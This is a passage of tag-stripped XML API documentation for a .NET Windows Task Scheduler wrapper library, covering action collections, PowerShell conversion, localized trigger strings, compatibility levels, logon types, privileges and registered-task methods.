PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a 